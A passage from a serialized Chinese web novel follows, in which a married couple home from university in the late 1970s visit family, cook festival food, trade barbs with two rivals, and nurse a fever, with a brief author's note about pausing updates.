季白青和温淼走到何香月面前,笑盈盈地叫人。 “娘,我们回来了。” 太久没见着这俩闺女,先前觉得人走了可以少操点心,但真去上学了,何香月有时候又觉得还怪想的。 现在朝思暮想的人就站在了自己面前,她的眼眶微红,咧开嘴笑道:“诶!回来了!回来就好,就是回来怎么也不提前和我们说一声!” 说着,她将门打开,让两人进来。 孙大娘见状识趣道别:“那我先回去了,你们娘三好好说道说道,白青和淼淼有时间来大娘家坐坐啊!让我家小孙女也沾沾大学生的喜气。” 门再度被关上,刚才几个人说话的声音不大,加上屋里其她人看电视看得投入,所以都还不知道是季白青和温淼回来看了。 听见关门声后,有人开口问何香月:“孙婶是找你什么事啊?” 何香月笑呵呵的:“是白青和淼淼回来了!” 闻言,所有人都同时抬头看向了季白青和温淼。 第一眼看到两个人,都还有些不敢认。 何香月的几个老姐妹揉了揉眼,再去看她们,惊讶道:“哟,要不是你说,我们都不敢认了,白青和淼淼一下变化好大啊!看着就跟城里的人没什么两样!” 温淼和季白青都穿了身黑色长款棉服,露出被裤子包裹的一截小腿,脚上踩着雪地靴,两张脸都莹白,面色也好,唇红齿白、俏生生的,一眼看过去就叫人舒心。 见状,大家也都知道这是一家人团聚的时候,没多留恋,纷纷道别离开。 何香月和季伟帮忙将东西拿到温淼两人的屋子那边放好,四个人一起围坐在火炉边烤火,橙黄色火焰往上冒,偶尔传出一声柴火爆裂声,飘出来一缕一缕的白烟往上,熏着墙边挂着的腊肉。 何香月给她们各自冲了一杯糖水甜甜嘴,在火炉边坐下之后有些嗔怪地看着两人:“怎么回来也不提前通知我们一声,我们好一起去接你们。” “看你们刚才大包小包的,拿回来不费劲吗?” 季伟在一边伸手烤火,闻言也沉默地点了点头。 温淼笑着回答:“那还不是阿青说要给你们一个惊喜。” 季白青靠在温淼的肩膀上,闻言眼角下弯,“就说娘你们感觉到惊喜没有。” 原本何香月她们以为大学生活忙,两个孩子应该在一月末差不多过年的时候回来才对,这一下就提前了一个礼拜的事件。 她们肯定都是惊喜的。 不过该说的还是得说,何香月道:“你们回来这么突然,我和你爹什么都没准备,肉也没买,菜也没买,你们的屋子也还没帮忙收拾。” 季白青倒是不太在意这些:“你们吃什么我们就吃什么呗,我们虽然久了没回来,但又不是客人,哪里需要讲究这么多。” “而且屋子不是挺干净的,剩下的晚点我们回去收拾。” 刚才回屋时候她和温淼大概看了看,走了一年,两人的新房却还是没有多大的变化。 南方乡下尘土多,但她们屋里的桌椅都没有落灰,大概是何香月她们会定时来打扫一番,压根用不着再多费心。 再把不难看到的细节处理一下就好了。 何香月听了这话,恨铁不成钢地剜了季白青一眼。 温淼是城里人,能和她们一样么!更何况她也想着让刚回来的两个人吃点好的。 她开口对季伟道:“老季,你快去鸡笼里挑只鸡出来杀了,给白青和淼淼好好补补。” 说着,她看向温淼和季白青,伸手捏捏她们的胳膊肘,咋舌道:“看看都瘦成什么样了。” 温淼听着这话,轻侧目睨了季白青一眼。 季白青心虚地咳了一声,抓着人的手揉了揉,“娘,你就放心吧,看着瘦了点,但都健康着呢,没生什么大病。” 来之前,两人就商量过,不想让亲人多担心,所以季白青阑尾炎住院这件事就不告诉她们了。 季伟去抓鸡杀鸡了,何香月也闲不下来,在屋子里翻翻找找,将今年新晒的笋干和菌菇都翻了出来,又割了一节腊肠和腊肉,放进锅里蒸上。 母父两个都没留下来和她们说话,季白青和温淼便也没在屋子里多留,回到了新屋将行李收拾一番,顺带将新添上的炉子点上,祛祛屋里的寒气。 等到把东西都收拾好之后,还没到饭点,两人去温如嫣住的小屋子和她打了声招呼。 进门后,温淼刚坐下,不知道从哪个方向跑出来的橘白一下跳到了她的腿上,对着她和季白青就开始喵喵叫。 听不懂,但能感受到骂得很凶。 温如嫣给她们倒了杯温水,见状笑得有些无奈。 “它话最多了,每天说不完的话。” 季白青揉了揉温棉棉脑袋,逗了会儿猫后和温如嫣有一搭没一搭地聊着。 “姑姑,你之后有什么打算,要一直在云水村当赤脚医生吗?” 她问出这话也是有原因的,温如嫣下乡就是为了来照顾温向荣,而在季白青她们几个人的努力之下,温向荣被污蔑下乡的证据已经被找齐了,就等着将证据上交到中央纪委,为她平反是板上钉钉的事。 温向荣是会回到京市的,那温如嫣在之后要怎么办呢? 温如嫣闻言有些愣住,她抵住下巴好好想了想,“其实在云水村也挺好的。” 每天清闲,在不涉及到利益的时候,村民还能够衬得上一声淳朴。 只是…… 季白青问:“姑姑你的医术这么好,只留在村里的话也太可惜了。” 留在村里,就意味着所能治疗的病人被划定了范围。 这也是温如嫣不太满意现在的生活所在,她是医生,并不会因为太过清闲而恰然自得,只有在看见一个个病人在她的治疗之下痊愈才会让她有成就感。 温淼想了想,“溪宁镇的医院有政策吗?我记得京市是可以录用周边村里的赤脚医生的,如果溪宁镇也有这样的政策下发的话,姑姑可以去试试,溪宁镇的医院虽然比不上京市的医院,但是肯定比现在能看的病人多。” 温如嫣点头,“我有时间去镇上看看,不过小敏没和我说过这有这样的消息。” 听着她突然提到尚敏,季白青觉得有些奇怪,将跳到了她腿上的猫抱住顺毛,疑惑道:“姑姑,你什么时候和尚敏这么熟了?” 温如嫣的神色有些不自在,随后很快敛去,她轻声道:“这一年小敏妈妈经常来找我看病,基本都是尚敏来陪着的。” 不过她没说的是,尚母想的是要撮合她和尚敏,不过作为当事人的尚敏和温如嫣都不太自在,也没有这个心思,最后倒是渐渐处成了朋友,关系还不错。 闻言,季白青点了点头。 聊了几句之后,见着快到饭点了,季白青抱着猫,叫上温如嫣一起去季家吃晚饭。 饭桌上,见何香月她们感兴趣,季白青和温淼说了些自己在学校的趣事,还将成绩和老师夸奖什么的都和她们说了一通,好让她们高兴高兴。 毕竟无论是什么时候的家长听见自己家孩子的成绩优秀,都会高兴的。 一直聊到晚上十点,全村的灯都差不多熄了,见温淼耸拉着眼皮有些困倦,季白青及时止住话题。 “娘爹,姑姑,我们明天还得上镇上去看看奶奶和梅姨她们,现在也不早了,我们回去休息了,你们也早点睡。” 这样说着,温如嫣也站了起来道别。 打着手电筒回到了家,炉子上烧的水已经滚烫。 将猫爪擦了擦,往床上一放,两人简单洗漱一番后也回到了床上。 温淼挨着季白青柔软的胸脯,有些昏昏欲睡。 但今天一天都在和别人说话,两个人说话的机会都少了些,她还有些想要和季白青说会儿话后再睡。 季白青猜到了她的心思,低头揉揉人的头发,主动起了个话题: “一年没有回来,无论是镇上还是村里的变化好像都还挺大的。” 温淼打了个秀气的哈欠,蹭了蹭她的胸口,软绵绵应下一声。 “无论是哪里都在变化,现在一切都在变好。” 她说的话颇有些哲理,季白青唇角带着笑,点了点头。 1978年之后,迷雾被拨开,一切在努力向好。 也拢共没说多少话,说着说着,温淼就没了声,不用看就知道她应该是睡着了。 季白青的手往她身后一探,想要将人往自己怀里拢,却一下摸到一手温热的毛。 也不知道温棉棉什么时候钻了进来。 明天就不让猫进卧室了。 妻妻俩在熟悉的地方睡得很沉,一觉睡到了早上八九点。 天气冷,季白青醒来的时候往怀里一看,温淼睁着一双灵动的眼睛,不知道正在看什么。 这人比自己醒的还早。 在她的额角亲了亲,她声音有些沙哑:“怎么醒这么早?” 温淼声音里有些郁闷,“被棉棉踩醒的。” 这大胖闺女七点多就开始在她身上踩奶,沉重的身体压得温淼快要喘不过气,还以为是被鬼压床了。 再醒来之后,她便睡不着了。 罪魁祸首正在舔毛,季白青啧了一声,弹它的粉鼻子。 抱着温软的人赖了会儿床,季白青长臂探到床边,将搭着的外套够过来穿上。 卧室里的炉子点了一夜,衣服不至于太冷,把温淼的衣服递给她,季白青捏了捏她的鼻尖。 “起床了,去吃饭。” 何香月她们肯定做了妻妻两人的早饭。 温淼想着也是,点了点头,慢吞吞坐起来穿上衣服,用炉子上温着的水洗漱。 何香月果然做了妻妻俩的早饭,早上吃的是她亲手擀的面条,汤底还是昨天鲜甜的鸡汤,加了几朵菌子进去,最上面还卧着肉沫和荷包蛋。 一碗面落到肚子里,身体都热乎起来。 上午要去梅大娘家,和何香月说一声不用煮她们的饭之后,季白青和温淼提上东西,去找了温如嫣,准备一起上镇上。 天气冷,知道每隔一个小时有一趟去镇上的长途汽车之后,她们便没打算再骑自行车。 三个人很快到了镇上,除了原本从京市带回来给几人的礼物之外,她们又另外去了一趟供销社,多买了些东西。 步行去梅叙家的功夫,季白青看到不少地方都有人摆着菜叫卖。 温如嫣见状解释:“现在放开了,镇上就多了很多卖自家种的菜的。” 季白青点头,挑着买了一把菠菜,看到有冬笋又买了几颗。 待会儿到了梅叙家多做几个菜。 到了地方的时候,是梅叙来开的门。 见着温婉的女人,温淼上前轻轻和她拥抱一下。 “梅姨,好久不见。” 见着是她们,梅叙的脸上浮现出几丝笑意。 “回来了啊?” 季白青也和她拥抱一下,几人进了门。 温向荣和梅大娘正在烤着火看电视,听到了门口的动静之后也玄关处看了眼。 见着是季白青、温淼和温如嫣之后,梅大娘和温向荣同时站了起来。 梅大娘热情道:“哎呀,白青和淼淼回来了!还有嫣嫣也来了,快坐快坐!” 几人笑着和她们打招呼。 围绕着桌边坐下,梅叙和梅大娘端来了不少吃的,还有几盘新鲜水果。 陪着长辈聊了会儿天,差不多十一点的时候,季白青和温淼一起进了厨房做饭。 季白青掌勺,温淼给她打下手。 每次在家做饭都这样,两人都已经形成了默契。 今天一大早,梅大娘就去食品站买了猪肉,除此之外还有一个猪蹄。 季白青看着现有的菜,做了个冬笋炒肉、红烧猪蹄、菠菜蛋花汤,还有个醋溜土豆丝,几盘色香味俱全的菜很快被端上了桌。 温淼将碗筷洗干净,盛了饭端到装上,梅叙招呼妻妻俩:“快坐下吃饭吧,别忙活了。” 她们是客人,这么久才回来一次,本来应该是她们做饭才对。 梅叙有些不好意思,但也知道这是她们不将自己当外人才这样做。 季白青拉着温淼坐下,这才有时间问梅叙:“梅姨,你今年这么忙,是不是要升职了?被调到哪去?” 她们每个月都和梅叙保持信件来往,自然知道梅叙今年的时间几乎都在出差,根本没有闲下来的时候。 原本过来之前她们还以为今天会见不到梅叙,没想到还碰上了。 闻言,梅叙一愣,随后笑着点了点头。 “真是什么都瞒不过你,年后我就被调到省里了。” 她看了眼温向荣,话里有些犹豫:“只是我娘肯定要和我一起去省里住的,温姨愿意跟着一起去吗?” 季白青笑眯眯道:“不用再麻烦梅姨你们了,等过了年,我们就把奶奶一起带去京市,就是要麻烦梅姨你开一张介绍信。” 闻言,梅叙第一时间还没反应过来,随后脸上多了几分喜悦。 “好,介绍信的事交给我。温姨平反的事情有着落了?” 季白青点头,用干净的筷子给桌上的几个人都分别夹了菜。 “吃啊,待会儿冷了就不好吃了。” 她有意想要卖个关子。 但是这样的话都说出来了,谁还有心思吃饭啊,虽然饭菜的味道光是闻起来就很香。 温淼没好气地拧她的腰,早在进了屋子之后,她们身上厚重的棉袄就被脱了下来。 现在季白青穿着一薄厚适中的羊毛衫,被人掐着也能感受到几分痛感。 她嘶了一声,在温淼的目光威压之下开口解释:“我和陆霁还有大姑姑她们已经把奶奶被污蔑的证据都找全了,到时候回了京市就交上去,不出意外,奶奶肯定能够平反。” 梅大娘拍着手:“好啊!这下总算是不用再家里躲躲藏藏了,要我说向荣这么好的人,还有人好坏不分地去举报,真不是什么好东西。” 季白青想着陆有德,唇角勾起,回答:“确实不是个好东西。” 不过这坏东西很快就会得到报应就是了。 毕竟,陆有德除了做了举报的缺德事,其它的违反军规的事儿也是一点都没落下。 不然也不会被她们找到把柄。 吃了饭后,又陪着梅叙和温向荣聊了会儿天,眼见着天色越来越沉,季白青三人这才提出要回去。 刚到村口的时候,温如嫣忽然想到了什么,对她们到:“对了,你们知道吗?沈念念和陆延已经领证结婚了。” 闻言,季白青有些诧异地挑了挑眉。 陆延现在都这样了,竟然还能结婚,不得不说,这两人或许是真的真爱。 她有些疑惑问:“两个人办婚礼了吗?” 温如嫣摇头:“没办,李向东当时不想给两个人的结婚申请通过,两个人还去大闹了一场,最后李向东给了几块钱才安抚下来。” 当时不少人都跑去了看戏,温如嫣还是听的别人的转述。 季白青扯唇,这三个人都不是什么好东西,只能说狗咬狗。 她侧身过去和温淼打赌:“淼淼,你说沈念念和陆延两个人能在一起安分多久?我赌……一年?” 温淼白了她一眼:“我才不和你赌。” 这两个人身上的不确定性太大了,谁知道她们到底会在一起多久。 总归是不纯粹的爱,在少了外界的物质条件之后,都维持不了多久。 季白青撇了撇嘴:“好吧。” 刚才提到了那两个人,在回去季家的路上,还真遇到了当事人。 沈念念和陆延手挽着手,看起来十分甜蜜,脸上还带着笑。 两批人就这样在小道上遇上,面面相觑。 沈念念和陆延脸上的笑淡了几分,陆延拧着眉不耐烦道:“你们两个真是阴魂不散,怎么又回来了?” 季白青被他的话逗笑:“毕竟光宗耀祖的大学生总是要回家看看的,总不能忘了本,你们说是不是,沈知青、陆知青?” 她说完后,见着两个人的眼神越发不善,捂着嘴往后退了一步。 “哎哟,我都忘记了你们一个没考上大学,一个刚从监狱里出来了,对不住对不住,脑子里全是学校里学到的知识,忘记这件事,让你们难堪了,不过我一向心直口快,但大学生说话都是实话实说,你们可千万要把我的话听进心里去啊。” 温淼站在一边,听着她的话,唇角抽抽。 这人有时候说话确实是有能够把人气死的能力。 【作者有话说】 咳咳,那个,我说两句啊。 这个月我都不再更新了哈[狗头](加个狗头保命 是七月不是八月!笨蛋读者[眼镜] 感谢投雷营养液,感谢评论订阅收藏 125 第125章 ◎旧人◎ 看着季白青笑眯眯的眼,陆延的心里腾地一下升起了一股怒气。 这女人不就是考上了一个破大学吗?在他面前得意什么,不就是大学,他有机会的话也能够考上! 说的好像谁考不上大学一样! 陆延双手垂落在身体两边,紧紧地握成了拳,忍着想要打她的冲动。 不过他不能打,毕竟这个女人的力气大得像个怪物,到时候被按着打他跑都跑不了。 陆延想到这,只能咬着牙用言语反击道:“季白青,你现在在得意个什么劲,你对我说这些都没用,等到了明年高考,我考回了京市,到时候再让你知道我的厉害!” “我们陆家,也不是你一个小小的土包子就能够惹得起的。” 季白青笑了笑:“哇,我好害怕啊,不过为什么不是今年考回去呢?” 还陆家呢,回去没几个月陆家就能倒台了,也就现在陆延还能够借着陆家的权势狂一狂了。 她漫不经心地想着,过了一秒,装作恍然大悟道:“哦~我知道了,原来是因为陆知青在今年高考结束之后才从监狱里出来的,那真是太不凑巧了,也不知道为什么陆家不能把你提前捞出来。” 这一句话重重地打了陆延的巴掌,陆延听了她所说的话后,赤红着眼看着他,怒吼道:“你这个乡巴佬又知道什么!你懂什么你就在这里说!” “你给我等着,回了京市之后,我是不会放过你的!” 闻言,季白青双手环胸,从鼻腔里哼出一声笑,刚想要说点什么,就被温淼止住。 温淼在一边拉了拉季白青的手,低声道:“好啦,快回去,不然赶不上吃晚饭了。” 陆延现在的样子看着有点恐怖,眼睛珠子都快瞪出来了,温淼怕他突然再被刺激一下突然发狂。 季白青听她的,闻言干脆地闭上了嘴,牵着温淼正准备和她回去,又听见原本在一边一直都沉默着的沈念念开了口: “温淼,你别在这里装好人,你在得意什么,考上了大学又怎么样,最后还不是只和一个乡下人结了婚,你这辈子就这样了,现在有什么好得意的。” 她盯着温淼,眼里憎恨的情绪浓稠。 沈念念看着温淼身上穿着的款式时兴的外套,红色的加绒外套衬得她整个人越发明艳,而沈念念自己身上却是一件灰扑扑的袄子,让她觉得自己站在她面前像是一棵灰*扑扑的小草。 温淼现在凭什么能够过得这么好!她不过是和一个乡下人结婚而已,还没有了奶奶,应该过得比她差多了才对,沈念念很不服气。 刚才什么话都没有说,却莫名奇妙被点名的温淼听了她的话一懵,不知道自己又是哪里惹得沈念念不高兴了。 随后她也不顾形象翻了个白眼。 “你又在找什么存在感,我什么话都没说你都能这么讨厌我,我真是想不明白,我哪惹你了?” “该不会是你没有的东西我都有,所以你忮忌我吧?”她看着沈念念,那双明亮的眼睛似乎已经将她内心的污浊想法看透。 和她一对视上,沈念念就忍不住挪开了视线。 自己心里的想法是被她戳中,沈念念气急败坏,有些跳脚。 “我忮忌你?你别做梦了!我怎么可能!不过是看不得你这得意样罢了,我现在可是嫁给了陆延哥,陆家在京市的地位你不知道吗?到时候……” 季白青听了这些话有些无语地揉了揉耳朵,手搭在温淼的肩膀上,小声道:“她们都有病,我们还是回去吧。” 温淼赞同地点了点头,两人没兴趣再听沈念念继续说下去,绕过了堵着路的两个人往季家走。 沈念念话说到一半还没说完,两个人并肩离开了,顾忌着季白青的武力值,她还不敢去将他们拦下。 她气得在原地跺了跺脚,扭过头有些委屈地看着陆延:“陆延哥……她们居然敢不听我说完话就走!” 陆延没有开口安慰她,扭曲的脸色还没完全恢复,盯着两个人背影的眼神幽暗。 他想,等到他回到京市的时候,想尽办法都要让这两个女人好看。 他陆延不是什么路边的猫猫狗狗,落魄了就能够被谁都踩一脚,看不起他的时候她们没有想过他的身后可还站着一整个陆家吗? 沈念念见他不理自己,有些恼,主动去挽他的手。 陆延将人不耐烦地甩开:“别吵!有本事你就追上去说,和我在这闹是什么意思,你这样烦不烦。” 沈念念沉默下来,掐着手心,默默地看了眼陆延。 自从扯证结婚之后,陆延对她是越来越不耐烦了,果然轻易得到的就不会被珍惜,如果是以前被陆老爷子看中的陆延还好,毕竟还能有钱,现在的陆延则是又穷又横。 但她只能忍,毕竟陆家还没有完全放弃陆延,所以她还要靠着陆延才能够回城。 妻妻摆脱刚见到的那一对怪人就立马往家走,到家之后,饭菜已经做好了,菜碗放在桌上往上冒着热腾腾的白气。 何香月见她们才回来,有些纳闷:“今天怎么回来得这么晚?在你们梅姨那吃了晚饭了?” 季白青无奈解释:“没有,就是在回来的路上遇到沈念念和陆延了,两个人拦着我们不让走,我们说了会儿话。” 何香月皱起眉,对两个人的印象都十分不好,她道:“她们脑子不好使,别管她们了,饭做好了,快去洗手吃饭。” 季白青点点头,和温淼一起去打了勺温水洗干净手。 云水村在年节时期的节奏一向都慢悠悠的,回来之后也没什么活,季白青和温淼在家里悠闲过着小日子。 偶尔会抽时间去镇上看看梅叙和温向荣,买点东西过去或者一起吃个饭。 就那么过了一两天,很快就到了杀年猪的日子了。 李向东在前一晚就来找季白青,想要让她继续帮忙杀猪,不过不仅温淼不答应,何香月也不乐意。 温淼想的是,季白青做手术还没多久,现在并不方便干这种力气活,万一发生了什么意外的话,那就难办了。 何香月听了他的来意之后更是一口拒绝:“我们家白青都已经是大学生了,怎么还能干那种杀生的活呢?你另外找其她人干去。” 季白青在一边听得有些想笑,杀生的活她都不知道做了多少了,往近了说,昨天何香月还亲口让她杀了条鱼,也不知道她怎么编出来的这借口。 李向东闻言还有些不甘心,眼神转向季白青:“白青啊,你看呢?我今年再给你多分点猪肉啊。” 季白青感受到了她老婆抵在她腰间蠢蠢欲动的手,讪笑一声拒绝:“算了吧,我还要在家看书呢,大学生可是抓紧每分每秒的时间学习。” 大学生这个借口就是好,胡乱套上就是用。 听了这么一串的拒绝,李向东还有些不服气,他想着这几天经常看见季白青和温淼下地里摘菜、去河边钓鱼,哪里像是在学习的样子。 他哈哈一声:“你别骗叔我,昨天我不是还看你去钓鱼了。” 季白青眼都不眨,张口就是编:“李叔你有所不知,我们这是劳动课,劳动课也是大学生的必修课之一。” 最后李向东被她的话堵得一言不发地离开了。 他想要找季白青杀猪不过是为了图省事,季白青还好说话,给她分的肉少一点她也不说什么,换成几个村里的大汉,没有这样的,保管对几块猪肉争得头破血流。 看来今年每户分的猪肉都要少点了。 今年分下来的的粮食都挺多,不过季白青估计这也是最后几年分粮食了,1980年开始推广包产到户,到时候都是每个人种自家的地了,到时候如果何香月她们还想要种地的话,种一小块自家吃也行。 小年当天,何香月狠了狠心,倒了一大锅的油准备炸丸子。 她一大早就让季伟去买了猪肉,今天分猪肉,她又打发季白青和温淼一起去领猪肉。 季白青和温淼领着她们家的分量回来的时候,何香月正在剁猪肉。 她将拎回来的肉洗了洗,又和温淼一起剥了一碗荸荠,将荸荠剁碎掺到肉沫里,这样混合着一起榨出来的丸子会更香更脆,再煮的时候也更好吃。 趁着何香月剁猪肉的功夫,季白青又洗了几个红薯、土豆和芋头,将其切成了薄片,等到何香月将肉丸子炸好全都捞出来之后,她让温淼继续生火,分别将芋头红薯和土豆薄片加进锅里油炸。 等到蔬菜薄片被炸至金黄后捞出,她看了眼都熟了之后,用漏勺盛出来放在碗里晾着。 嗅着空气中扑鼻的香味,季白青职业病险些又犯了,第一时间想的是可以多做点去黑市卖。 不过要是真这么做了,何香月女士该揍她了,毕竟这油她可宝贝着呢。 不过现在季白青也不缺那点钱。 ——陆霁很争气,季白青写下的方案她一一实验之后,很快就架起了各种摊子,无论是做什么买卖都很红火。 原本两人就商量好利润二八分,季白青什么都没有干,给出去的五千块就快要回本了,所以她此时也不急着去继续赚钱,现在最重要的是抽出时间陪着老婆和家人,还要兼顾学习,再多的事情等着毕业之后再说。 她还是老实地将过年自家要吃的东西做好就行。 在炸完东西之后,将油渣捞出来,剩下的大半锅油还能够留着继续炒菜。 炸出来的蔬菜薄片凉下来之后,季白青尝了一口。 香香脆脆的,芋头片带着浓厚的芋头香,土豆片就是自然的酥脆,红薯是村里上交公粮剩下的部分分的,地上施肥都是农家肥,绿色健康,红薯蒸着吃软糯香甜,炸着吃也带着一股甜味,温淼肯定喜欢。 她捻了一片给温淼尝,笑着问:“味道怎么样?” 温淼眼睛微眯,轻轻点头:“好吃。” 待会儿还得做小年夜饭,温淼往灶眼里又塞了几根柴火,这才拍了拍手上的灰,去洗了把手,又尝了几块。 季白青想着今天晚上可以弄一锅麻辣烫,此时正在外面低头洗菜,也没看着温淼,等到将洗好的青菜端回去的时候,才发现原本碗里放着的油炸物被吃了五分之一的量。 她额角一跳,看着准备继续烧火的温淼有些担心。 “淼淼,你现在喉咙难受吗?” 刚才她就应该叮嘱温淼少吃一点,一下吃掉这么多,喉咙容易发炎。 不过刚才她忙着干活,就忘记了这一茬。 温淼摇了摇头,也知道她在担心什么,一时间有些心虚。 在京市的时候她还挺少吃这些油炸的东西,方才觉得好吃便多吃了些,反应过来的时候已经吃了那么多了。 她撒娇:“放心吧,应该没事,” 到现在为止,她还感觉好端端的,并不难受。 季白青半信半疑地瞥了她一眼,最后还是没能放下心,倒了温水让她灌了两大杯这才微微放下了心。 她将麻辣烫的料炒好,放在一边等着用。 随后将一边切开的鸡块下锅焯水。 今天杀的是买了村里其她人家养的老公鸡,得先炖,不然炒出来咬不动。 炖完之后,季白青下锅加上辣椒、豆豉爆炒,炒了一碗小炒鸡。 一个个圆滚滚的辣椒里被塞满了肉沫,下了锅,这做的是辣椒酿肉。 除此之外,还有麻辣烫、海带炖排骨、酸豆角炒鸡胗、粉蒸肉一共六个菜。 季家人不多,加上温如嫣一共也就五个人,六盘菜够吃了,甚至还能够留到第二天吃。 六点多吃饭的时候,季白青想着温淼刚才吃的油炸食品,还是有些担心,给她舀了碗海带排骨汤哄着她喝。 吃过晚饭之后,两人带了猫吃的饭回家,一到家就给猫倒在碗里,看着它吧唧吧唧地舔吃。 天气冷,两人隔一天洗一次澡,炉子上温着的水没烧多久就开了,她们一起泡了个脚之后就将猫关在卧室门外上了床。 被窝没多久就被两人的体温暖热,感受到季白青将手放在自己的额头上,温淼有些无奈:“放心吧,只是吃了点油炸的东西而已,也不至于这样就发烧。” 哪有这么娇弱。 季白青沉默,话是这样说,但她还是有些不放心。 毕竟温淼的身体一向纤弱,上大学之后倒是锻炼得好了些,但怕就怕出现意外。 她睁着眼睛,还没来得及往后想,眼前一黑,被一只柔软的手掌遮住。 “别担心啦,真的不会有什么事的,我对我自己的身体有把握。”女人清甜的声音在耳边响起,听起来确实也不像是有什么问题的样子。 季白青闭了闭眼,长睫挠过她的手心,最终还是点了点头。 随手伸到床边,摸索一番将屋子里的灯拉灭。 屋内瞬间陷入一片黑暗,季白青将怀里的人抱紧,轻声道:“好了,睡吧,明天我们再去奶奶那看看。” 说到这个,温淼再度睁开了眼,有些疑惑地问:“到时候奶奶跟我们一起回去还是等着把证据交上去平反之后再回去?” 季白青沉吟一会儿:“跟我们一起回去吧,到时候再去问问奶奶的意见。” 温淼点头。 季白青虽然在温淼身边的睡眠一向不错,但今天却还是担忧她因为吃了太多油炸食品不舒服,睡得不太安定。 到了半夜的时候,季白青睡梦中感觉越来越热,意识到不对劲之后猛然惊醒过来,这才感受到怀里的人全身滚烫。 她蹙着眉,将灯拉开,一眼就看到了温淼烧得潮红的脸。 看来她的担心并不是空穴来风,晚上果然发烧了。 揉了揉眉心,季白青出去找了个体温计,又将今天不放心拿下来的退烧药找了出来,给温淼量了体温,一看,烧到了差不多四十度。 将手放在她的鼻下,就连感受到的她的呼吸都是炙热的,灼人的皮肤。 季白青本想将人叫醒,可温淼烧得迷迷糊糊也没什么意识,只是茫然呓语几声,就没什么其它的回应。 没办法,季白青只能先给人喂了药,又将水打湿帕子,敷在她的额头上。 将人的散热部位都擦拭一番后,她出了门。 烧得这么厉害,也不知道会不会有什么问题,她只能大半夜的去打扰温如嫣,让她找过来看看。 温如嫣听见温淼发烧之后,也不顾什么,穿好衣服后带着药箱就往她们家去。 到了屋子里,检查一番后,温如嫣微微松了一口气。 “现在已经开始退烧了,就是晚上得守着点,不能复烧,只要不再到三十九度都是正常的。” “小季,待会儿我煎的药再给蓁蓁喂一次,早上的时候你再煎一次,等着明天中午还在烧的话,就去卫生所挂水。” 季白青认真地听着,点了点头。 等着药被煎好之后,她放得凉了些,这才一勺一勺喂着温淼喝下。 将药喂完后,她对温如嫣道:“姑姑,大晚上真是麻烦你了,现在蓁蓁有我在这守着,你快回去好好休息。” 季白青在这种事上一向靠谱,温如嫣虽然还担心温淼,但也知道两个人一起熬着不是事。 她点了点头:“那我就先回去了。” 将人送回屋里后,季白青回了家,见喝完了药之后温淼面上的潮红褪去了一些后微微松了一口气。 她一时间有些后悔,早知道就看着点温淼了,或者不做那么多炸物,不然温淼现在也不至于难受到现在。 守着人一会儿,温淼又开始喃喃着叫冷,季白青钻进被窝,将人抱住往自己怀里带,撑着眼皮守了她一夜。 早上六点多的时候,温淼的温度又褪下来一些,季白青连忙去将第二贴药给煎了。 这次喂药的时候,温淼清醒了几分,垂着睫毛神色恹恹地喝药。 女人的面颊上还带了几分潮红,唇却很苍白,喝完了温热的汤药之后也没有任何改善。 季白青看得有些心疼。 她温声问:“饿了没?想吃什么?我去给你做。” 温淼抬起睫翼看向季白青,抿着唇,眉眼间染了几分愧疚。 她细声道:“阿青,对不起。” 季白青一愣,弯了弯唇:“对不起什么?又不是你想要发烧的。” 到底还是她的体质弱,吃了那么点东西就难受了。 温淼昨晚身体不舒服,睡得昏昏沉沉,但还是有一定的意识,知道季白青一直陪在自己的身边。 看着她脸上的倦色就能猜到,大概是担心她所以一晚没睡。 她心情低落,小声道:“没胃口,什么都不想吃,你上床休息休息好不好?” 季白青用手背再次测了测她的温度,无奈道:“不吃怎么能行?我去做个面条,吃完之后我陪你再休息一会儿。” 她做好决定之后也没再多等,去厨房发面。 等待着面团发酵的过程,去了季家一趟,让何香月这段时间不用再做她们的饭。 温淼还在发烧,这几天都不方便出门,万一受风了,病情很有可能加重。 何香月听闻温淼发烧也有些担心,连忙道:“那我送过去得了。” 季白青笑着推辞:“哪里用这么麻烦,我自己做就行了,你们不用担心,没几天就好了。” 温淼生病她肯定也是要跟着吃清淡一些的,但没必要让何香月她们也跟着一起。 见季白青坚持,何香月只好点头,“那你好好照顾淼淼,等好了娘再做好吃的给你们补补。” 季白青点头,和她们说明白之后便往回赶。 做了个汤面汤底,往里加了点菌菇,又卧了个荷包蛋,这才端进房间喂温淼吃。 生病的人总是脆弱些,温淼身上还不大有力气,加上季白青也不放心她现在下床,怕她着凉,给她披了件外套后亲手喂着她吃完的。 吃完后,她往炉子里添了块煤,让屋子里能更暖和一些,她自己吃了早饭填饱了肚子,这才到床上,将温淼抱住,准备和她一起休息休息。 闭眼前,再次给温淼量了体温,见体温维持在三十八度出头,没有昨晚烧得那么厉害,她微微放了些心。 正要睡,就听见温淼瓮声瓮气的声音:“要不你去客房睡?我怕传染你。” 季白青睁开眼,女人用细白的手捂着嘴,只露出一双浸透水汽的温润的眼。 她有些无奈,这又不是病毒性感冒发烧,怎么会传染。 揉了揉人的发,她轻声道:“别担心,不会传染的,再说我还得守着你,要是真去别的房间,该担心得睡不着了。” 温淼的脑子还晕乎乎的,她的一席话听进去也不大能理解什么意思,依稀记得她说了个别担心。 随后温淼张嘴还想要说点什么,却被季白青按进了胸口,被她强行闭上了嘴。 嗅着青年身上淡淡的清香,她又晕乎了几分,不知道什么时候再次迷糊睡着了。 温淼这一场病不大不小,就跟春天的雨一样绵绵长长,拖了一共五六天才好。 一直到了除夕那天,她的嗓子还有些轻微发炎。 不过好歹已经没发烧了,在慢慢痊愈,现在症状很轻,不过喉咙还在刺痛。 当天要出门,季白青给人上下包裹得严严实实,她的脖子上围着围巾,连带着将耳朵和下半张脸都遮住了,头上还戴了一顶针织得到毛绒帽,这几天季白青在屋里闲着没事给她织的。 见没有了再着凉的风险之后,季白青在人泪痣上亲了一口。 生病这段时间,小粘人精却不给人亲了,怕她被传染,便顶多给季白青亲亲脸。 季白青便顺着她,亲完人之后,正准备拉着人出门,去季家给何香月她们帮帮忙,却又被温淼拉住。 她扁了扁嘴,看着季白青的打扮有些不乐意。 “你穿这么少,还给我穿这么多。” 温淼觉得自己被裹得像个粽子。 季白青低头看了眼自己,一件保暖衣,一件羊毛衫,一件长袄,甚至为了让她心理平衡,脖子上也系了围巾,这看着也不少啊。 温淼指了指自己头上的帽子:“你没戴帽子。” “我都戴了,你怎么不戴?你这样我都不好意思出去。” 季白青见她皱着的雪白脸蛋,没好气地捏了捏她的鼻尖。 “好啊,嫌弃我给你织的帽子丑?” 温淼瞪她:“我才没有这么说,你别曲解我的意思。” 季白青亲手织的帽子她喜欢还来不及呢,怎么可能讨厌。 